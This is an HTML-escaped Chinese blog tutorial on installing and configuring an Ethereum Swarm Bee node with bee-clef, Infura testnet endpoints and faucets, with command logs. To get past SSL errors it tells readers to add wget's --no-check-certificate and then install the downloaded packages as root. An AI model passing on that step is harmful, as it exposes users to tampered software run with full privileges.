&lt;p&gt;先利用ctrl-a [ 进入copy mode。在copy mode下可以回滚、搜索、复制就像用使用 vi 一样。在copy mode下有这些快捷键：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;C-b ：Backward、PageUp&lt;/li&gt;
  &lt;li&gt;C-f ：Forward、PageDown&lt;/li&gt;
  &lt;li&gt;H： High，将光标移至左上角&lt;/li&gt;
  &lt;li&gt;L：Low，将光标移至左下角&lt;/li&gt;
  &lt;li&gt;0：移到行首&lt;/li&gt;
  &lt;li&gt;$：行末&lt;/li&gt;
  &lt;li&gt;w：forward one word，以字为单位往前移&lt;/li&gt;
  &lt;li&gt;b：backward one word，以字为单位往后移&lt;/li&gt;
  &lt;li&gt;Space： 第一次按为标记区起点，第二次按为终点&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;按esc退出copy mode。&lt;/p&gt;

&lt;p&gt;快捷键&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
Ctrl + a，d #暂离当前会话
Ctrl + a，c #在当前screen会话中创建一个子会话
Ctrl + a，w #子会话列表
Ctrl + a，p #上一个子会话
Ctrl + a，n #下一个子会话
Ctrl + a，0-9 #在第0窗口至第9子会话间切换
ctrl + a，A #给窗口自定义命名
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;安装jq&quot;&gt;安装jq&lt;/h2&gt;
&lt;p&gt;这是linux下json解析工具
jq必须&lt;a href=&quot;#设置fedoral_epel&quot;&gt;配置epel.repo库&lt;/a&gt;才能安装成功。&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 ~]# yum install -y jq

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;准备好bee目录&quot;&gt;准备好bee目录&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mkdir /mnt/bee &amp;amp;&amp;amp; cd $_
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;安装bee-clef&quot;&gt;安装bee-clef&lt;/h2&gt;
&lt;p&gt;Clef在法语里是key的意思，用于以太坊客户端账号和私钥key的管理。&lt;/p&gt;

&lt;p&gt;Clef本质上是一个独立的交易签名器。Clef 背后的思想是将帐户管理与Geth客户端其它功能分开。Clef通过 IPC 或 HTTP 暴露了一个轻量API，可以被Dapp用作签名工具。&lt;/p&gt;

&lt;p&gt;Clef最终目标是代替Geth的节点账号管理，可用来对交易进行签名。Clef可以使DApp不必依赖Geth的帐户管理，当DApp需要对数据（或交易）进行签名时，可以将数据发送给Clef，在经过授权同意后，Clef将把签名返回给DApp。&lt;/p&gt;

&lt;p&gt;因为Bee必须自动和快速签署许多交易，
一个单独打包的clef程序bee-clef ，用于处理Bee的签名。它包含了Bee所需的全部特殊配置，以便Clef可以和Bee完全配合工作。&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# wget https://github.com/ethersphere/bee-clef/releases/download/v0.4.12/bee-clef_0.4.12_amd64.rpm

Unable to establish SSL connection.

[root@25 bee]# wget https://github.com/ethersphere/bee-clef/releases/download/v0.4.12/bee-clef_0.4.12_amd64.rpm --no-check-certificate
[root@25 bee]# rpm -ivh bee-clef_0.4.12_amd64.rpm

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;遇到Unable to establish SSL connection. 可以用–no-check-certificate规避&lt;/p&gt;

&lt;p&gt;ubuntu需要下载相应deb文件，并用下面的命令安装&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo dpkg -i bee-clef_0.4.12_amd64.deb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;检查bee-clef状态&quot;&gt;检查bee-clef状态&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# systemctl status bee-clef
Active: active (running) since Wed 2021-05-26 16:05:49 CST; 2min 14s ago
 CGroup: /system.slice/bee-clef.service
           ├─4216 bash /usr/bin/bee-clef-service start
           ├─4224 clef --stdio-ui --keystore /var/lib/bee-clef/keystore --configdir /var/lib/bee-clef --chainid 5 --r...
           └─4225 tee /var/lib/bee-clef/stdout
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;MacOs里面&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;launchctl list | grep swarm-clef
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;查看日志&quot;&gt;查看日志&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;journalctl -f -u bee-clef.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;配置clef&quot;&gt;配置clef&lt;/h3&gt;
&lt;p&gt;配置文件在&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/etc/bee-clef/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;这里不需要修改。&lt;/p&gt;

&lt;h3 id=&quot;数据存储&quot;&gt;数据存储&lt;/h3&gt;
&lt;p&gt;私钥和数据存在如下目录&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/var/lib/bee-clef/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;停止bee-clef&quot;&gt;停止bee-clef&lt;/h3&gt;

&lt;p&gt;停止默认启动的服务，防止冲突&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;systemctl stop bee-clef
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;下载启动脚本&quot;&gt;下载启动脚本&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# wget https://raw.githubusercontent.com/ethersphere/bee-clef/master/packaging/bee-clef-service --no-check-certificate
[root@25 bee]# chmod +x bee-clef-service

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;用screen-管理clef&quot;&gt;用screen 管理clef&lt;/h3&gt;

&lt;p&gt;创建并进入名字为clef的一个会话&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;screen -S clef
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;启动bee-clef&quot;&gt;启动bee-clef&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# ./bee-clef-service start
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;按键盘上的ctrl+a ctrl+d 退出名字为clef的一个会话&lt;/p&gt;

&lt;h1 id=&quot;安装设置bee-客户端&quot;&gt;安装设置Bee 客户端&lt;/h1&gt;
&lt;p&gt;需要完成下面的事情&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;设置Bee外部签名程序&lt;a href=&quot;https://docs.ethswarm.org/docs/installation/bee-clef/&quot;&gt;Bee Clef&lt;/a&gt;. (推荐)&lt;/li&gt;
  &lt;li&gt;安装 Bee 并以服务启动&lt;/li&gt;
  &lt;li&gt;配置 Bee.&lt;/li&gt;
  &lt;li&gt;用 gETH 和 gBZZ让你的节点&lt;a href=&quot;https://docs.ethswarm.org/docs/installation/fund-your-node/&quot;&gt;获取资助&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;等待您的支票簿交易完成并更新批存储&lt;/li&gt;
  &lt;li&gt;检查Bee在工作。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;安装bee客户端&quot;&gt;安装Bee客户端&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# wget https://github.com/ethersphere/bee/releases/download/v0.6.0/bee_0.6.0_amd64.rpm --no-check-certificate
[root@25 bee]# rpm -ivh bee_0.6.0_amd64.rpm
Logs:   journalctl -f -u bee.service
Config: /etc/bee/bee.yaml
Bee requires an Ethereum endpoint to function. By default is using ws://localhost:8546 ethereum endpoint.
If needed obtain a free Infura account and set:

It is recommended to use external signer with bee.
Check documentation for more info:
- SWAP https://docs.ethswarm.org/docs/installation/manual#swap-bandwidth-incentives
- External signer https://docs.ethswarm.org/docs/installation/bee-clef

After you finish configuration run &apos;sudo bee-get-addr&apos;.

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;日志里说没有找到本地以太坊客户端或者RPC服务。这里直接采用&lt;a href=&quot;https://infura.io/&quot;&gt;infura&lt;/a&gt;的测试网。&lt;/p&gt;

&lt;h2 id=&quot;查看bee状态&quot;&gt;查看Bee状态&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# systemctl status bee.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;停止bee服务&quot;&gt;停止Bee服务&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# systemctl stop bee.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;申请一个infura节点api&quot;&gt;申请一个&lt;a href=&quot;https://infura.io/&quot;&gt;infura&lt;/a&gt;节点API&lt;/h2&gt;
&lt;p&gt;在主页面点击创建项目的入口。
左侧有Ethereum，点击create project。
名字填一个独特的名字如ablo_swarm。
keys面板上endpoint可以选择主网还是测试网。这里选择goerli测试网。
会有projectID和security。
我的projectID：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;c1a6f66d211046afadbfe6fc351bf53a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;endpoint信息：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://goerli.infura.io/v3/c1a6f66d211046afadbfe6fc351bf53a
wss://goerli.infura.io/ws/v3/c1a6f66d211046afadbfe6fc351bf53a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;projectID是公开的，但PROJECT_SECRET 必须保密。&lt;/p&gt;

&lt;p&gt;访问方式：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl — user :YOUR-PROJECT-SECRET \
https://&amp;lt;network&amp;gt;.infura.io/v3/YOUR-PROJECT-ID
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;获取区块高度&quot;&gt;获取区块高度&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl https://goerli.infura.io/v3/c1a6f66d211046afadbfe6fc351bf53a \
-X POST \
-H &quot;Content-Type: application/json&quot; \
-d &apos;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;eth_blockNumber&quot;,&quot;params&quot;: [],&quot;id&quot;:1}&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;得到回复：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;result&quot;:&quot;0x4a2249&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;获取某账号余额&quot;&gt;获取某账号余额&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl https://goerli.infura.io/v3/c1a6f66d211046afadbfe6fc351bf53a \
-X POST \
-H &quot;Content-Type: application/json&quot; \
-d &apos;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;eth_getBalance&quot;,&quot;params&quot;: [&quot;0xf50D9ecC857d00f93B223359dBcd1793aEEF6429&quot;,&quot;latest&quot;],&quot;id&quot;:1}&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;返回结果如下&lt;/p&gt;

&lt;p&gt;如无充值：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;result&quot;:&quot;0x0&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;有值的话：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;result&quot;:&quot;0x161e78faeed7a00&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;配置bee&quot;&gt;配置Bee&lt;/h2&gt;
&lt;h3 id=&quot;编辑配置文件&quot;&gt;编辑配置文件&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo vi /etc/bee/bee.yaml
sudo systemctl restart bee
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;全节点或轻节点&quot;&gt;全节点或轻节点&lt;/h3&gt;
&lt;p&gt;由于Bee在向网络提供服务以交换gBZZ时会占用大量资源，因此默认情况下，Bee节点以轻节点模式启动。要允许您的蜜蜂使用您的网络带宽和计算资源为网络服务并开始兑现支票，请将–full node标志设置为true。
或在bee.yml配置文件中设置：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;full-node: true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;区块链端点&quot;&gt;区块链端点&lt;/h3&gt;
&lt;p&gt;您的Bee节点必须能够访问以太坊Goerli testnet区块链，以便它能够与您的chequebook合约进行交互和部署。您可以运行自己的&lt;a href=&quot;https://github.com/goerli/testnet&quot;&gt;Goerli&lt;/a&gt;节点，或者改用已有的服务，推荐&lt;a href=&quot;https://infura.io/&quot;&gt;Infura&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;默认情况下，Bee期望在ws://localhost:8545. 如改用以太坊RPC提供程序，如下更改配置：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;swap-endpoint: wss://goerli.infura.io/ws/v3/your-api-key
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;如果要使用节点解析ENS域名，还必须提供以太坊mainnet RPC提供程序的端点。&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;resolver-options: [&quot;https://mainnet.infura.io/v3/&amp;lt;&amp;lt;your-api-key&amp;gt;&amp;gt;&quot;]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;debug-api&quot;&gt;debug api&lt;/h3&gt;
&lt;p&gt;缺省关闭的，需要打开，并重启&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;debug-api-enable: true
debug-api-addr: 127.0.0.1:1635
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;为了安全，1635端口必须被防火墙屏蔽，决不能在外网卡监听，并暴露出去。&lt;/p&gt;

&lt;h3 id=&quot;文件描述符&quot;&gt;文件描述符&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;db-open-files-limit: 2000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;获取资助&quot;&gt;获取资助&lt;/h2&gt;
&lt;h3 id=&quot;在discord-faucet频道获取&quot;&gt;在Discord #faucet频道获取&lt;/h3&gt;
&lt;p&gt;为了部署它的支票簿和与Swarm互动，你的蜜蜂需要gBZZ和gETH。&lt;/p&gt;

&lt;p&gt;首先，找出你的以太坊地址：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo bee-get-addr
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;或者用这个命令&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -s localhost:1635/addresses | jq .ethereum
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;您的Bee节点需要gBZZ才能正确地与网络交互。为了接收这些，您需要登录到Swarm的Discord，并使用节点的以太坊地址从&lt;a href=&quot;https://discord.gg/kfKvmZfVfe&quot;&gt;#faucet&lt;/a&gt;水龙头频道请求gBZZ测试Token。&lt;/p&gt;

&lt;p&gt;必须键入而不是粘贴如下的命令，并替换您的以太坊地址&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/faucet sprinkle 0xf50D9ecC857d00f93B223359dBcd1793aEEF6429
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;机器人会给出信息&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Your node 0xf50D9ecC857d00f93B223359dBcd1793aEEF6429 was sprinkled! (half a minute) 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;可能报错，检查一下配置是否有问题&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Your node 0xf50D9ecC857d00f93B223359dBcd1793aEEF6429 was not sprinkled because of an error...

You don&apos;t have any sprinkles left.

Your node 0xf50D9ecC857d00f93B223359dBcd1793aEEF6429 was already sprinkled
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;通过metamask&quot;&gt;通过Metamask&lt;/h3&gt;
&lt;p&gt;用浏览器访问下面的网站，替换接受账号&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://bzz.ethswarm.org/?transaction=buy&amp;amp;amount=10&amp;amp;slippage=30&amp;amp;receiver=0xf50D9ecC857d00f93B223359dBcd1793aEEF6429
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;连接到Metamask，并切换到goerli测试网
点网页左下角的”Get G-ETH”.&lt;/p&gt;

&lt;h3 id=&quot;其他水龙头&quot;&gt;其他水龙头&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;https://faucet.ethswarm.org/&lt;/li&gt;
  &lt;li&gt;https://faucet.goerli.mudit.blog/&lt;/li&gt;
  &lt;li&gt;https://gitter.im/goerli/testnet?at=5f7f1d756e0eb84469728b8b&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;查看余额&quot;&gt;查看余额&lt;/h3&gt;
&lt;p&gt;水龙头地址，查看自己地址有没有交易&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://goerli.etherscan.io/address/0x10210572d6b4924af7ef946136295e9b209e1fa0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;自己地址&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://goerli.etherscan.io/address/0xf50D9ecC857d00f93B223359dBcd1793aEEF6429
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;启动bee服务&quot;&gt;启动bee服务&lt;/h2&gt;
&lt;p&gt;可以直接使用bee start命令，也可以用systemctl命令来启动bee。&lt;/p&gt;

&lt;p&gt;bee start使用 ~/.bee.yaml 作为配置文件，~/.bee 作为数据文件夹 systemctl start bee.service使用 /etc/bee/bee.yaml 作为配置文件，/var/lib/bee 作为数据文件夹&lt;/p&gt;

&lt;p&gt;刚开始不使用&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[root@25 bee]# systemctl start bee.service&lt;/code&gt;，方便定位问题。&lt;/p&gt;

&lt;p&gt;命令行可以用下面的方式&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# screen -S bee
[root@25 bee]# bee start --verbosity 5 --swap-endpoint https://goerli.infura.io/v3/c1a6f66d211046afadbfe6fc351bf53a --debug-api-enable --clef-signer-enable --clef-signer-endpoint /var/lib/bee-clef/clef.ipc
--full-node=false

Bee node is booting up for the first time. Please provide a new password.
Password:
Confirm password:
INFO[2021-05-26T18:54:25+08:00] using swarm network address through clef: ca8b3b60048b004a1eb848f7af59f820fb20e80be1a4c504ab4b6d29fc6e0d2e
INFO[2021-05-26T18:54:25+08:00] swarm public key 03ac547b2519bd51fa3d4daa5a5640bf5a31d0e1635fa9dcc2f116e3161aca4336
DEBU[2021-05-26T18:54:25+08:00] new libp2p key created
DEBU[2021-05-26T18:54:25+08:00] new pss key created
INFO[2021-05-26T18:54:25+08:00] pss public key 02cece89c3593f896987f9ba37e3c133069fba8f97e697d3d882e1e7fc850e186b
INFO[2021-05-26T18:54:25+08:00] using ethereum address f50d9ecc857d00f93b223359dbcd1793aeef6429
INFO[2021-05-26T18:54:25+08:00] debug api address: [::]:1635
INFO[2021-05-26T18:54:27+08:00] using default factory address for chain id 5: 73c412512e1ca0be3b89b77ab3466da6a1b9d273
INFO[2021-05-26T18:54:37+08:00] no chequebook found, deploying new one.
WARN[2021-05-26T18:54:38+08:00] cannot continue until there is sufficient ETH (for Gas) and at least 1 BZZ available on f50d9ecc857d00f93b223359dbcd1793aeef6429
WARN[2021-05-26T18:54:38+08:00] learn how to fund your node by visiting our docs at https://docs.ethswarm.org/docs/installation/fund-your-node

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;以上warning说明需要充值gBZZ，在&lt;a href=&quot;https://discord.com/channels/799027393297514537/841664915218628619&quot;&gt;Discord #faucet&lt;/a&gt; 获取充值。参考&lt;a href=&quot;#获取资助&quot;&gt;获取资助&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;TRAC[2021-05-27T10:26:05+08:00] sending transaction 708f661a4119745c3277a32204bd8a9e82325a50753a622c7ca954d8a49ff6db with nonce 0
INFO[2021-05-27T10:26:06+08:00] deploying new chequebook in transaction 708f661a4119745c3277a32204bd8a9e82325a50753a622c7ca954d8a49ff6db
TRAC[2021-05-27T10:26:06+08:00] starting to watch transaction 708f661a4119745c3277a32204bd8a9e82325a50753a622c7ca954d8a49ff6db with nonce 0
INFO[2021-05-27T10:26:22+08:00] deployed chequebook at address eb3fdb6ca2736bcff41255ad70c7fa757bcd20fc
INFO[2021-05-27T10:26:22+08:00] depositing 10000000000000000 token into new chequebook
TRAC[2021-05-27T10:26:23+08:00] sending transaction cf4390dcfe30ce141da60bfb1735b7f9467cdc616963627cab6c1c512baa9ab3 with nonce 1
INFO[2021-05-27T10:26:23+08:00] sent deposit transaction cf4390dcfe30ce141da60bfb1735b7f9467cdc616963627cab6c1c512baa9ab3
TRAC[2021-05-27T10:26:23+08:00] starting to watch transaction cf4390dcfe30ce141da60bfb1735b7f9467cdc616963627cab6c1c512baa9ab3 with nonce 1
INFO[2021-05-27T10:26:40+08:00] successfully deposited to chequebook
INFO[2021-05-27T10:26:40+08:00] using datadir in: &apos;/root/.bee&apos;
INFO[2021-05-27T10:26:40+08:00] database capacity: 1000000 chunks (approximately 20.3GB)
DEBU[2021-05-27T10:26:41+08:00] initializing NAT manager
DEBU[2021-05-27T10:26:48+08:00] NAT manager initialized
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;可能会报如下错误：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;level=warning msg=&quot;failing to connect to clef signer: dial unix /var/lib/bee-clef/clef.ipc: connect: permission denied&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;clef.ipc通过创建Bee用户并设置权限来保护文件，以便该用户只能使用ipc套接字。&lt;/p&gt;

&lt;h2 id=&quot;查看日志-1&quot;&gt;查看日志&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo journalctl --lines=100 --follow --unit bee
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;如果出现
Error: open /var/lib/bee/statestore/LOCK: permission denied
或者：msg=”failing to connect to clef signer: dial unix /var/lib/bee-clef/clef.ipc: connect: permission denied”&lt;/p&gt;

&lt;p&gt;则进入/var/lib/bee，确认下statestore的当前权限组是不是bee
如果不是则修改下&lt;/p&gt;

&lt;p&gt;sudo chown bee.bee statestore
